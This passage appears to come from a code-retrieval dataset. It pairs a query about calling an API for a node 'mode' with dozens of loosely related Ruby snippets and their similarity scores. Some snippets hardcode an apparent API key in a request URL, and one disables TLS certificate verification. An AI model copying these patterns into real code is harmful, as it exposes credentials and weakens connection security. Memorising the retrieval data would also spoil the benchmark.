@api_client.config.logger.debug \"Calling API: NsxComponentAdministrationApi.get_node_mode ...\"\n end\n # resource path\n local_var_path = \"/node/mode\"\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['BasicAuth']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'NodeMode')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: NsxComponentAdministrationApi#get_node_mode\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def mode\n params['mode']\n end", "def type\n params['mode']\n end", "def type\n params['mode']\n end", "def modes\n @client.get('/Journey/Meta/Modes')\n end", "def play\n data = self.get_api_response(\"https://opentdb.com/api.php?amount=3&category=11\")[\"results\"][0]\n return data\n end", "def make_json_request(mode, options = {})\n options = { mode: mode,\n apikey: @api_key,\n output: 'json' }.merge(options)\n path = \"/api\"\n uri = URI::join(URI.parse(@server), path)\n uri.query = URI.encode_www_form( options )\n JSON.parse(Net::HTTP.get(uri))\n end", "def show\n respond_to do |format|\n format.html { render 'application/cube_trainer' }\n format.json { render json: @mode }\n end\n end", "def api_mode; end", "def mode\n\t\treturn self.modes[0]\n\tend", "def mode\n @gapi.mode\n end", "def set_mode\n @mode = Mode.find(params[:id])\n end", "def show\n @modes = Mode.all\n @mode = Mode.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @mode }\n end\n end", "def call_API\n case @input[:type]\n when :text\n @input = @input[:value]\n call_text_API\n when :url\n @input = @input[:value]\n call_URL_API\n else\n \"Invalid input\"\n end\n end", "def api_get(action, data)\n api_request(action, data, 'GET')\n end", "def api_get(action, data)\n api_request(action, data, 'GET')\n end", "def set_mode\n @mode = Mode.find(params[:id])\n end", "def getinfo\n @api.request 'getinfo'\n end", "def get_data(flag, url)\n data = \"\"\n response = 0\n if flag == true\n response = RestClient.get(url)\n data = JSON.load response\n end\n return data\nend", "def getdifficulty\n @api.request 'getdifficulty'\n end", "def mode\n request.mode\n end", "def cmd_mode(param)\n send_unauthorised and return unless logged_in?\n send_param_required and return if param.nil?\n if param.upcase.eql?(\"S\")\n send_response \"200 OK\"\n else\n send_response \"504 MODE is an obsolete command\"\n end\n end", "def get_mode()\n end", "def update_mode(new_mode) \t\n \t#return if new_mode == mode\n \t#gateway = Eth485Gateway.new(ENV['ETH485_GATEWAY_IP'], ENV['ETH485_GATEWAY_PORT'].to_i)\n gateway = SerialportGateway.new(ENV['SERIAL_PORT'])\n meter = Mercury.new(gateway, ENV['METER_ADDRESS'].to_i)\n result = {}\n \tcase new_mode\n \t when HEATIN_CORD_OFF_MODE then\n \t \tresult = meter.disable_consumer\n if result['status'] = 'OK'\n self.update!(enable: false, mode: new_mode) \n end \n \t when HEATIN_CORD_MANUAL_ON_MODE then\n result = meter.enable_consumer\n if result['status'] = 'OK'\n self.update!(enable: true, mode: new_mode) \n end \n \t when HEATIN_CORD_AUTOMATIC_1H_SWITCH_MODE, HEATIN_CORD_AUTOMATIC_1H_PER_DAY_MODE then\n update!(mode: new_mode) \n \t #puts meter.enable_consumer \n \tend\n \n result\n end", "def fetch\n response = HTTParty.get(@url)\n if response.success?\n @data = response.parsed_response\n end\n response.code\n end", "def call_api\n @client.build_url\n @client.get\n assign_data\n end", "def do_get\n Net::HTTP.get(URI.parse(api_url))\n end", "def get_data(flag, url)\n\t\t\t\t\t\tdata = \"\"\n\t\t\t\t\t\t\t\tresponse = 0\n\t\t\t\t\t\t\t\t\t\tif flag == false\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tresponse = RestClient.get(url)\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tdata = JSON.load response\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\t\t\t\t\t\treturn data\nend", "def selected_mode\n return @data[self.index]\n end", "def call_api\n\t\tputs \"Getting info on elected officials for zipcode: #{zip_code}\"\n\t\t@api_data_on_electeds = JSON.load RestClient.get \"https://congress.api.sunlightfoundation.com/legislators/locate?zip=#{zip_code}&apikey=952d630dfb75498ab63de7a362a85335\"\n\tend", "def mode\n case @data_list\n when QRNumeric\n :mode_number\n when QRAlphanumeric\n :mode_alpha_numk\n else\n :mode_8bit_byte\n end\n end", "def weather_is mode, geo\n @logger_out.info \"The result for 'exists' is #{@redis.exists 'weather_data'}\"\n if !@redis.exists('weather_data')\n response = JSON.parse pure_data mode, geo\n @logger_out.info \"result is #{response}\"\n weather_data = {\n temp: (1.8*(response['main']['temp'].to_f-273)+32).round,\n cloudiness: response['clouds']['all'].to_f.round,\n humidity: response['main']['humidity'].to_f.round,\n windiness: response['wind']['speed'].to_f.round(1),\n condition_id: response['weather'][0]['id'].to_i,\n condition_name: response['weather'][0]['main'],\n condition_description: response['weather'][0]['description']\n }\n @redis.set 'weather_data', weather_data.to_json\n @redis.expire 'weather_data', 600\n @logger_out.info \"Request made! weather_data's class is #{weather_data.class}\n and the result is #{weather_data}\"\n return weather_data\n else\n data = JSON.parse @redis.get('weather_data')\n @logger_out.info \"Data fetched from Redis (#{data}), with\n #{@redis.ttl('weather_data')} left on it's expiration. Class is #{data.class}\"\n return data\n end\n end", "def get_device_data(param = false)\n\n # get the user-agent\n if param == false\n user_agent = ''\n if !@headers.nil?\n user_agent = @headers['HTTP_USER_AGENT']\n end\n elsif param == true\n\t\t\tuser_agent = @settings.test_useragent\n else\n if @request.nil?\n @request = {}\n end\n @headers = get_normalised_headers param # normalize the given header hash\n user_agent = (@headers.has_key?'user-agent')?@headers['user-agent']:''\n\t\tend\n\n # get the DeviceAtlas Client Side Component cookie if usage=on and exists\n cookie = nil\n\t\tif @settings.use_client_cookie && !@cookies.nil? &&\n !@cookies[@settings.client_cookie_name].nil?\n\t\t\tcookie = @cookies[@settings.client_cookie_name]\n elsif @settings.use_client_cookie && \n !@headers.nil? &&\n @headers.has_key?('cookie')\n @headers['cookie'].gsub!(\" \", \"\")\n cookie_items = @headers['cookie'].split ';'\n cookie_items.each do |cookie_item|\n cookie_name_value = cookie_item.split '='\n if @settings.client_cookie_name == cookie_name_value[0]\n cookie = cookie_name_value[1].gsub(\" \", \"\")\n end\n end\n\t\tend\n\n # get device data from cache or cloud\n @last_used_cloud_url = nil\n @self_auto_ranking = 'n' # 'y' = the API called the ranking\n @ranking_status = nil # for debugging\n @called_servers = [] # for debugging\n\n\t\tbegin\n\t\t\t# check cache for cached data\n\t\t\tif @settings.use_cache\n source = SOURCE_CACHE\n results = get_cache user_agent, cookie\n\t\t\tend\n\t\t\t# use cloud service to get data\n\t\t\tif results.nil?\n source = SOURCE_CLOUD\n\t\t\t\tresults = get_cloud_service user_agent, cookie\n # set the caches for future queries\n if @settings.use_cache && source === SOURCE_CLOUD\n set_cache user_agent, cookie, results[KEY_PROPERTIES]\n end\n\t\t\tend\t\n\t\t# handle errors\n\t\trescue Exception => e\n if results.nil?\n results = {}\n end\n results[KEY_ERROR] = e.message\n if @settings.debug_mode\n raise Exception, e.message\n end\n\t\tend\n\n # In Ruby, we return properties as symbols\n if results.has_key?KEY_PROPERTIES\n results[KEY_PROPERTIES] = results[KEY_PROPERTIES].inject({}){\n |memo,(k,v)| memo[k.to_sym] = v; memo\n }\n end\n\n results[KEY_SOURCE] = source\n results[KEY_USERAGENT] = user_agent\n return results\n\n end", "def index\n respond_to do |format|\n format.html { render 'application/cube_trainer' }\n format.json { render json: current_user.modes }\n end\n end", "def level_type\n @api_response['type']\n end", "def get(data = {})\n call data, method: :get\n end", "def api_request\n url = URI.parse(\"https://catfact.ninja/fact\")\n response = Net::HTTP.get_response(url)\n JSON.parse(response.body)[\"fact\"]\n end", "def mode\n options[:mode]\n end", "def get_node_mode(opts = {})\n data, _status_code, _headers = get_node_mode_with_http_info(opts)\n data\n end", "def index\n respond_to do |format|\n format.html { render 'application/cube_trainer' }\n format.json do\n stats = @mode.stats.map(&:to_simple)\n render json: stats, status: :ok\n end\n end\n end", "def mode\n @mode\n end", "def call_api (action, argument = \"\")\n\t\turi_str = BASE_URL + action + @api_key + argument\n\t\turi = URI.parse(uri_str)\n\t\tresponse = Net::HTTP.get_response(uri)\n\t\t#check response\n\t\tresponse_body = JSON.parse(response.body)\n\tend", "def get(resource)\n puts construct_url(@mode, resource)\n @agent.get construct_url(@mode, resource)\n end", "def index \n\t\t#check_threads\n\t\tlogger.debug DEVICES.to_yaml\n\t\t# collect modes\n\t\t@modes = Mode.find(:all)\n\t\t@mode = Mode.find(1)\n\t\t# assign client id - how to differentiate between a touch panel and a connected laptop? how to stop other computers from accessing controls? force a local IP somehow?\n\t\t@client_id = \"central\"\n\tend", "def request(url, api_key)\n rover = get_data(\"#{url}#{api_key}\")\n\n return rover\nend", "def game_main\n\n if params[:game_id].present?\n @game = Game.find(params[:game_id])\n @ticker_activities = @game.ticker_activities\n @player_home = @game.get_player_home()\n @player_away = @game.get_player_away()\n @game_stat = @game.get_game_stat()\n @game_possession = @game.get_game_possession()\n @game_lead = @game.get_game_lead()\n @game_history = @game.get_game_history(300, \"Statistic\")\n @game_penalty = @game.get_game_penalty()\n @ticker_events = @game.ticker_events\n end\n\n if params[:mode].present?\n @mode = params[:mode]\n end\n\n respond_to do |format|\n #format.html\n format.js\n format.json { render json: @game }\n end\n end", "def mode=(mode)\n request.mode = mode\n end", "def call\n data\n end", "def get\n check_response( @httpcli.get(@endpoint) )\n end", "def getdifficulty\n request :getdifficulty\n end", "def FetchWin(aim)\r\n\r\n\tbuffer = open(aim, \"UserAgent\" => \"Ruby-Wget\").read\r\n\tmatch_result = JSON.parse(buffer)\r\n\tmatch_result = match_result[\"result\"]\r\n\t$radiant_win = match_result[\"radiant_win\"]\r\n\t$lobby_type = match_result[\"lobby_type\"]\r\n\r\n#Excluding cases where the match isn't returning true or false if API \r\n#is being weird because that will fuck up everything - Also only want\r\n#lobby_type of 0 or 5\r\n\tif [0, 2, 5].include?($lobby_type)\r\n\t\tcase $radiant_win\r\n\t\t\twhen true, false \r\n\t\t\t\treturn $radiant_win\r\n\t\telse\r\n\t\t\t\treturn \"No data\"\r\n\t\tend\r\n\tend\r\nend", "def status_getdata!()\n @status = TAC_PLUS_AUTHEN_STATUS_GETDATA\n end", "def get_titleinfo(mode)\n if mode\n url = \"https://api.vinaudit.com/pullreport.php?user=\" + Rails.application.secrets.vin_audit_username + \"&pass=\" + Rails.application.secrets.vin_audit_password +\n \"&vin=\" + @sell_request.vin + \"&key=\" + Rails.application.secrets.vin_audit_key + \"&format=json\" + \"&mode=test\" + \"&id=\" + rand(10**12).to_s\n else\n url = \"https://api.vinaudit.com/pullreport.php?user=\" + Rails.application.secrets.vin_audit_username + \"&pass=\" + Rails.application.secrets.vin_audit_password +\n \"&vin=\" + @sell_request.vin + \"&key=\" + Rails.application.secrets.vin_audit_key + \"&format=json\" +\"&id=\" + rand(10**12).to_s\n end\n\n clean = nil\n # try_times = 6 #do it for at most 6 times\n # TODO may need to discuss the times\n while clean == nil\n json = JSON.parse(OpenURI.open_uri(url, {ssl_verify_mode: OpenSSL::SSL::VERIFY_NONE}).read)\n clean = json['clean']\n # try_times -= 1\n # if try_times == 0\n # break;\n # end\n end\n clean\n # if\n end", "def fetch_data\n res = Net::HTTP.start(DATA_URI.host, DATA_URI.port) do |http|\n http.get(DATA_URI.path, 'USER_AGENT' => 'Nordea::Bank gem')\n end\n\n if res.code =~ /2\\d\\d/\n res.body\n else\n fail ServerError, 'The server did not respond in the manner in which we are accustomed to.'\n end\n end", "def run(api_method = :api)\n orig_command = \"%s %s\" % [api_method, raw]\n Log.debug \"saying #{orig_command}\"\n resp = @fs_socket.say(orig_command)\n if resp[\"body\"] =~ /USAGE/\n Log.warn \"This server does not support #{raw}, trying Calls\"\n return Calls.new(@fs_socket, :detailed).run\n else\n unless resp[\"body\"] == \"0 total.\"\n call_info, count = resp[\"body\"].split(\"\\n\\n\")\n require \"fsr/model/channel\"\n require \"csv\"\n channels = CSV.parse(call_info) \n headers = channels[0]\n @channels = channels[1 .. -1].map { |c| FSR::Model::Channel.new(headers ,*c) }\n return @channels\n end\n []\n end\n end", "def selected_mode\n @selected_mode\n end", "def fetch_api_codewars_kata_info\n private_fetch_kata\n end", "def show\n respond_to do |format|\n format.html\n format.xml { render :xml => @mode.to_xml }\n\t\t\tformat.js { render :text => @mode.to_json }\n end\n end", "def get_node_mode(opts = {})\n data, _status_code, _headers = get_node_mode_with_http_info(opts)\n return data\n end", "def perform\n\n r = validate\n return r unless r.success?\n\n r = fetch_client_token\n return r unless r.success?\n\n r = fetch_api_console_data\n return r unless r.success?\n\n r = fetch_common_entities\n return r unless r.success?\n\n success_with_data(@api_response_data)\n\n end", "def status\n response = JSON.parse( self.class.get(\"#{BASE_URL}/contest/#{@api_key}\") )\n end", "def mode() @mode ||= detect_mode end", "def getinfo\n request :getinfo\n end", "def show\n # puts \"PARAMSSSSS CONTROLLER #{params[:id]}\"\n url = \"https://api-2445582011268.apicast.io/games/#{params[:id]}\"\n response = HTTParty.get(url, headers: {\"user-key\" => Figaro.env.igdb_api_key, \"Accept\": \"application/json\"})\n @game_response = response.parsed_response\n end", "def get_response url, format\r\n begin\r\n response = Net::HTTP.get_response(URI.parse(url))\r\n if format.to_sym == :json\r\n res = JSON.parse response.body\r\n else\r\n res = response.body\r\n end\r\n rescue Exception => e\r\n res = \"ERROR: There is a problem while fetching data, please check whether OpenTSDB is running or not.\"\r\n end\r\n res\r\n end", "def swapi_fetch(url)\n JSON.parse(open(url).read)\nend", "def request_method\n {:filter => :post,\n :sample => :get,\n :firehose => :get,\n :retweet => :get\n }.fetch(@path, :get)\n end", "def get_modes\n @_modes\n end", "def mode\n Initialize() if @_mode == nil\n\n @_mode\n end", "def get_data_type(args)\n type = get_data_type_from_body(args[:body])\n type ||= get_data_type_from_response(args[:response])\n end", "def mode\n modes(false)[0]\n end", "def mode\n modes(false)[0]\n end", "def getter_mode\n @getter_mode ||= :tube_name\n end", "def respond_to_intent\r\n intent = @request[\"request\"][\"intent\"][\"name\"]\r\n case intent\r\n when \"TurnOn\"\r\n response = turn_light_on\r\n when \"TurnOff\"\r\n response = turn_light_off\r\n end\r\n end", "def mode=(type)\n @mode = type.to_s\n end", "def retrieve_response\n session.post(url)\n end", "def get_nvidia_status(url)\n resp = Net::HTTP.get_response(URI.parse(url))\n buffer = resp.body\n json_result = JSON.parse(buffer)\n return json_result\nend", "def index\n @modes = Mode.all\n end", "def getMnoData \n if @dataType == 'employees_list'\n params = MultiJson.load('{\"engine\":\"hr/employees_list\", \n \"metadata[organization_ids][]\": \"org-fbte\"}')\n elsif @dataType == 'employee_details'\n params = MultiJson.load('{\"engine\":\"hr/employee_details\", \n \"metadata[organization_ids][]\": \"org-fbte\"}')\n elsif @dataType == 'invoices'\n params = MultiJson.load('{\"engine\":\"invoices/list\", \n \"metadata[organization_ids][]\": \"org-fbte\", \n \"metadata[entity]\": \"customers|suppliers\"}')\n else\n raise StandardError\n end \n \n auth = {username: @@username, password: @@password}\n options = {query: params, basic_auth: auth}\n \n @content = HTTParty.get(@@url, options)\n end", "def get_champion_data(patch_number)\n response_string = RestClient.get(\"http://ddragon.leagueoflegends.com/cdn/#{patch_number}/data/en_US/champion.json\")\n response_hash = JSON.parse(response_string)\n champion_data = response_hash[\"data\"]\nend", "def api\n return @api\n end", "def data_to_method(data)\n raise \"No safe methods defined!\" unless @safe_methods.size > 0\n @safe_methods.each do |method|\n if data['mode'] == method.to_s\n self.send(data['mode'], data)\n end\n end\n end", "def mode\n\t\t@mode || (proxy_owner.mode if proxy_owner.respond_to?(:mode))\n\tend", "def fetch_details_for_status\n case fetch_status\n when :bva_decision\n {\n issues: api_issues_for_status_details_issues(decision_issues)\n }\n when :ama_remand\n {\n issues: api_issues_for_status_details_issues(decision_issues)\n }\n when :post_bva_dta_decision\n post_bva_dta_decision_status_details\n when :bva_decision_effectuation\n {\n bva_decision_date: decision_event_date,\n aoj_decision_date: decision_effectuation_event_date\n }\n when :pending_hearing_scheduling\n {\n type: \"video\"\n }\n when :scheduled_hearing\n api_scheduled_hearing_status_details\n when :decision_in_progress\n {\n decision_timeliness: AppealSeries::DECISION_TIMELINESS.dup\n }\n else\n {}\n end\n end", "def make_request(method, resource, data = nil)\n\t\t\tresource = get_resource(resource, method, data)\n\n\t\t\tif [:post, :put, :patch].include?(method)\n\t\t\t\tdata[:test] = options[:test_mode] if options[:test_mode]\n\t\t\t\tpayload = data.to_json\n\t\t\telse\n\t\t\t\tpayload = {}\n\t\t\tend\n\n\t\t\theaders = options[:headers] || {}\n\n\t\t\tif method == :get\n\t\t\t\tresource.send(method, headers) do |response, request, result, &block|\n\t\t\t\t\thandle_response(response)\n\t\t\t\tend\n\t\t\telse\n\t\t\t\t# Add in test flag is test mode...\n\t\t\t\tresource.send(method, payload, headers) do |response, request, result, &block|\n\t\t\t\t\thandle_response(response)\n\t\t\t\tend\n\t\t\tend\n\t\tend", "def show\n id = params[:id]\n unless is_number? id\n token = id\n decode_t = decode_link token\n id = decode_t[0]['id']\n end\n\n @opinion_poll = OpinionPoll.find(id)\n\n return ok_request @opinion_poll, %w(user time_slots answers.time_slots)\n rescue ActiveRecord::RecordNotFound\n r = {opinion_poll: 'Record Not Found'}\n return not_found r\n end", "def apivalidationmul(api)\nurl = \"http://#{$server_host}:#{$port_number}/#{api}\"\noutput=`curl -X GET -H \"Authorization: #{@user_token}\" -H \"Content-Type: application/json\" \"#{url}\"`\nresponse=JSON.parse(output)\n@data=response[\"data\"]\nputs \"==========================================\"\nputs @data\nputs \"==========================================\"\nreturn @data\nend", "def get_api(path, params = {}, env = {})\n current_session.get(\"#{$settings.url}/#{path}\", params, env)\n last_response.body ? Oj.load(last_response.body) : nil\n end", "def get_resource(id, type)\n\t\t@client.method(type).call.get(id)\n\tend", "def info\n get(\"/api-info\")\n end", "def mode\n\t\tfreq = @input.inject(Hash.new(0)) { |h,v| h[v] += 1; h }\n\t result = @input.max_by { |v| freq[v] }\n\n\t render json: result, status: 200\n\trescue\n\t\trender json: {\"message\": 'Use the format: {\"input\": [num, num]}'}, status: 400\n\tend", "def current_mode\n if @current_mode\n return _modes[@current_mode] if _modes[@current_mode]\n\n fail \"The mode #{@current_mode} of #{self.class} has not been defined!\"\n else\n unless top_level?\n # Need to do this in case a class besides SubBlock includes Origen::Model\n obj_above_self = parent.nil? ? Origen.top_level : parent\n return nil if obj_above_self.nil?\n\n if obj_above_self.current_mode\n _modes[obj_above_self.current_mode.id] if _modes.include? obj_above_self.current_mode.id\n end\n end\n end\n end", "def call\n \n # create URI::HTTPS object using the url of the API \n url = URI(\"https://api.covid19api.com/summary\")\n \n # create new Net::HTTP object\n https = Net::HTTP.new(url.host, url.port); \n \n # turn on SSL flag \n https.use_ssl = true\n \n # create Net::HTTP::Get object with the url\n request = Net::HTTP::Get.new(url)\n \n # use the Net::HTTP object to send a request for the information\n # and return the data via a string \n response = https.request(request).read_body\n \n end", "def index\n if(params[:mode] != nil && params[:mode] == \"run\")\n render :json => Playoff.exists?(:running => true)\n elsif(params[:running] != nil && params[:running])\n @playoffs = Playoff.where(running: true)\n else\n @playoffs = Playoff.all\n end\n\n end", "def current_mode\n self.say \"The current mode is: #{@config[:mode]}\"\n end", "def get_request( id )\n url = \"#{self.url}/#{id}?auth=#{self.authtoken}\"\n status, response = rest_get( url )\n return status, response['details'] if ok?( status ) && response['details']\n return status, ''\n end", "def modes; end" ]
[ "0.6840591", "0.6233038", "0.61994016", "0.6002883", "0.5982736", "0.5899628", "0.58765423", "0.58264744", "0.57625484", "0.5727748", "0.5701499", "0.5638133", "0.5566128", "0.5559126", "0.55128413", "0.54956806", "0.54717624", "0.5466703", "0.5466703", "0.5448566", "0.5419345", "0.54170114", "0.54153246", "0.54116386", "0.53570294", "0.5356965", "0.5337211", "0.53180027", "0.5284469", "0.52775216", "0.5251967", "0.52405727", "0.5215329", "0.5206142", "0.52026474", "0.51666486", "0.5165148", "0.5155773", "0.5123991", "0.5115274", "0.5113963", "0.5108362", "0.51028216", "0.50977314", "0.50970525", "0.50949514", "0.5074588", "0.5073627", "0.50688255", "0.5045872", "0.50421786", "0.503725", "0.5022657", "0.5020197", "0.5019908", "0.50196207", "0.50077987", "0.49937803", "0.49865583", "0.497278", "0.4970755", "0.49663472", "0.49540463", "0.49456933", "0.4901628", "0.48940474", "0.4893705", "0.4891395", "0.48872218", "0.48802903", "0.48755327", "0.48723397", "0.4862908", "0.48343962", "0.48343962", "0.48238426", "0.48182997", "0.48040417", "0.4800007", "0.47980523", "0.47929835", "0.47904143", "0.47865516", "0.47833678", "0.47826916", "0.47806638", "0.47727603", "0.47590497", "0.47571108", "0.47481725", "0.47446713", "0.47423345", "0.4741649", "0.47404417", "0.47398767", "0.47398365", "0.4738629", "0.47382674", "0.4738064", "0.4728848" ]
0.64006984
1
Starts the webserver that takes images and sends them to the API. html server runs on
def start_webserver() server = TCPServer.new('localhost', DEFAULT_PORT) puts "Vision server running on http://localhost:#{DEFAULT_PORT}/" while session = server.accept time = Time.new puts "New connection #{time.inspect}" if File.exist?(DEFAULT_HTML_PATH) && !File.directory?(DEFAULT_HTML_PATH) File.open(DEFAULT_HTML_PATH, "rb") do |file| session.print "HTTP/1.1 200 OK\r\n" + "Content-Type: text/html\r\n" + "Content-Length: #{file.size}\r\n" + "Connection: close\r\n" session.print "\r\n" # write the contents of the file to the session IO.copy_stream(file, session) end else message = "HTML File not found\n" # respond with a 404 error code to indicate the file does not exist session.print "HTTP/1.1 404 Not Found\r\n" + "Content-Type: text/plain\r\n" + "Content-Length: #{message.size}\r\n" + "Connection: close\r\n" session.print "\r\n" session.print message end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def start_webserver\n stop_webserver\n Webserver.run!\n end", "def start\n # we trap CTRL+C in the console and kill the server\n trap(\"INT\") { BeEF::Core::Server.instance.stop }\n \n # starts the web server\n @http_server.start\n end", "def start()\n mime_types = WEBrick::HTTPUtils::DefaultMimeTypes\n mime_types['es6'] = 'application/javascript'\n server = WEBrick::HTTPServer.new(Port: @http_port,\n DocumentRoot: @http_dir,\n MimeTypes: mime_types)\n server.logger.level = 5 - @logger.level unless @logger.nil?\n server.mount(@pre_path, Handler, self)\n server.mount('/', ExportProxy, @http_dir) if @export_proxy\n\n trap 'INT' do server.shutdown end\n server.start\n end", "def run\n trap('INT') { http_server.shutdown }\n http_server.start\n end", "def start!\n http_server.start\n self\n end", "def start_server\n begin\n require 'webrick'\n rescue LoadError\n abort \"webrick is not found. You may need to `gem install webrick` to install webrick.\"\n end\n\n server = WEBrick::HTTPServer.new :Port => @server\n\n extra_doc_dirs = @stores.map {|s| s.type == :extra ? s.path : nil}.compact\n\n server.mount '/', RDoc::Servlet, nil, extra_doc_dirs\n\n trap 'INT' do server.shutdown end\n trap 'TERM' do server.shutdown end\n\n server.start\n end", "def run!\n\t\t\tcatch :halt do\n\t\t\t\tvalidate_request\n\n\t\t\t\ttry_options ||\n\t\t\t\t\ttry_static ||\n\t\t\t\t\ttry_static(dir: GEM_STATIC_FILES) ||\n\t\t\t\t\ttry_route ||\n\t\t\t\t\thalt(404)\n\t\t\tend\n\t\t\tresponse.write body unless request.head?\n\t\t\tresponse.finish\n\t\tend", "def run\n\t\tself.print_hosts # generate all the host_*.html files\n\t\tself.print_index # generate the index.html file\n\t\tself.print_vulns # generate all the vuln_*.html files\n\t\tself.print_vuln_overview # generate the vuln_overview.html file\n\tend", "def run\n start\n jetty.join\n end", "def startServer(params)\n @@server = HTTPServer.new(\n :Port => params[:webPort] || DEF_WEB_PORT,\n :Logger => Log4r::Logger.new(\"#{MObject.logger.fullname}::web\"),\n :RequestHandler => lambda {|req, resp|\n beforeRequestHook(req, resp)\n }\n )\n trap(\"INT\") { @@server.shutdown }\n\n path = File.dirname(params[:configDir]) + \"/favicon.ico\"\n @@server.mount(\"/favicon.ico\", HTTPServlet::FileHandler, path) {\n raise HTTPStatus::NotFound, \"#{path} not found.\"\n }\n @@server.mount_proc('/') {|req, res|\n res['Content-Type'] = \"text/xml\"\n body = [%{<?xml version='1.0'?><serviceGroups>}]\n @@registeredServices.each {|path, service|\n info = service.info\n name = service.serviceName\n body << \"<serviceGroup path='#{path}' name='#{name}'><info>#{info}</info></serviceGroup>\"\n }\n body << \"</serviceGroups>\"\n res.body = body.to_s\n }\nend", "def start\n\n # load config files\n @httpd_conf.load \n @mimes.load\n # initialze logger \n logger = Logger.new(@httpd_conf.logfile) \n Thread.abort_on_exception=true\n \n loop do\n puts \"Opening server socket to listen for connections\"\n\n # handle incoming request\n Thread.start(server.accept) do |client|\n worker = Worker.new(client,@httpd_conf,@mimes,logger) \n worker.handle_request\n end\n end\n\n end", "def execute!\n make_web_directory\n generate_universe\n generate_html\n print_success_message\n end", "def start_all\n UiChanged::Screenshot.async_crawl_and_compare\n head :ok\n end", "def start\n @pid = Process.fork do\n if (@options.rack) \n # NOTE: This does not support command-line setting of repo!\n opts = { :server => :webrick, :host => @host, :port => @port}\n PlanR::Application::LocalHttpd::WebApp.run!( repo, opts ) \n else\n # rack doesn't do the one thing we need it to: \n # pass WebApp instantiation arguments to Webrick.mount\n opts = { :BindAddress => @host, :Port => @port}\n @webrick = ::WEBrick::HTTPServer.new(opts)\n @webrick.mount \"/\", Servlet,\n [ PlanR::Application::LocalHttpd::WebApp, \n @options ]\n @webrick.start\n end\n end\n\n trap('INT') { Process.kill 'INT', @pid }\n trap('TERM') { Process.kill 'INT', @pid }\n\n self\n end", "def start\n uri = URI.parse server\n http = Net::HTTP.new uri.host, uri.port\n response = http.post '/documents', input\n if response.is_a?(Net::HTTPOK)\n data = JSON.parse(response.body)\n STDOUT.puts \"#{server}/#{data['key']}\"\n else\n STDERR.puts \"failure uploading: #{response.code}\"\n end\n rescue RuntimeError, JSON::ParserError => e\n STDERR.puts \"failure uploading: #{response.code}\"\n rescue Errno::ECONNREFUSED => e\n STDERR.puts \"failure connecting: #{e.message}\"\n end", "def start\n api = @settings[:api] || {}\n bind = api[:bind] || \"0.0.0.0\"\n port = api[:port] || 4567\n start_http_server(bind, port)\n super\n end", "def runFileServer\n @@servlet = FileServlet.new(@@self_port)\n \n Thread.start {\n @@servlet.start() \n }\n \nend", "def start\n # Take data in\n if STDIN.tty?\n key = @uploader.upload_path ARGV.first\n else\n key = @uploader.upload_raw STDIN.readlines.join\n end\n # Put together a URL\n if ARGV.include?('--raw')\n url = \"#{@uploader.server_url}/raw/#{key}\"\n else\n url = \"#{@uploader.server_url}/#{key}\"\n end\n # And write data out\n if STDOUT.tty?\n STDOUT.puts url\n else\n STDOUT.print url\n end\n rescue Exception => e\n abort e.message\n end", "def start!(port = 8080)\n $app = HttpApp.new do |app|\n app.torrent_manager = @torrent_manager\n app.tv = TorrentView.new(@torrent_manager)\n end\n Thin::Server.start('127.0.0.1', port) do\n map '/' do\n run $app\n end\n end\n end", "def start(controller = Stream::StreamController.instance)\n # make sure all the keys are set\n validate_keys\n\n options = update_config_options\n\n # create a new server\n @server = WEBrick::HTTPServer.new(Port: options[:port])\n\n # start singleton stream controller\n @controller = controller.start\n\n # mount the REST server on webrick\n @server.mount '/', Http::HttpEndpoint\n\n trap_signals\n\n logger.info(\"Server starting with PID #{Process.pid}\")\n\n @server.start\n end", "def run\n ::SimpleHttp.get(@url).tap do |response|\n status, headers, blob = *response\n response[2] = Magick::Image.from_blob(blob).first if status == 200\n end\n end", "def start\n puts \"** quick_serve: scanning for files... \"\n # build a file collection\n find_files\n puts \"** quick_serve: watching #{files.size} files for changes... \"\n wait \n end", "def start\n # the above only accepts 1 requiest. it will stop after receiving a request\n # in order to enable the server to accept more than 1 request, you need to create a loop\n loop do\n # this is an infinite loop.. this can now accept multiple vars and it will ahve separate objects per request\n # once the server socket is ready..\n # we need to tell the server socket that we're ready to accept a connection\n # the #accept method accepts the next incoming connection or it will block if there are no incoming connections at teh moment\n # it will #accept once it arrives\n # this is the socket / connetiont at we have to teh remote browser\n socket = @server.accept # THIS IS THE CLIENT SOCKET\n puts \"this is the socket var: \" + @socket.inspect\n # let's start the new conneciton inside a thread\n # NOTE: there's a big performance and memory penalty for creating a new thread => needs to put a bunch of memory\n # to increase the performance, they initialize threads and then store those threads in a $\"thread pool\" => ie. instead of initializign new threads, it leverages existing threads\n # doing what you did below slows down the server significantly\n # apache, nginx, unicorn => prefork model\n # => fork meaning it will fork right afte rthe server socket initialization (see above in TCPServer) => 2 parts: main server socket in the master process and we will make child processes by calling a method called fork. it copies the the main process and it will $share the sockets from the master process\n # to the child proceess\n Thread.new do\n # create a new isntance of the connneciton class\n connection = Connection.new(socket, @app) # now we have access to the rack application instance inside our Connection \n connection.process\n end\n end\n end", "def run_webrick(config = {})\n config.update :Port => 8080\n server = HTTPServer.new config\n yield server if block_given?\n [\"INT\", \"TERM\"].each { |signal| trap(signal) { server.shutdown } }\n server.start\nend", "def proxy_image\n multiresimage = Multiresimage.find(params[:id])\n img_length = params[:image_length]\n\n begin\n if multiresimage.DELIV_OPS.svg_image.svg_width[0].to_i <= params[:image_length].to_i\n img_length = multiresimage.DELIV_OPS.svg_image.svg_width[0].to_i-1\n end\n rescue Exception\n #this is a fix so that smaller images get 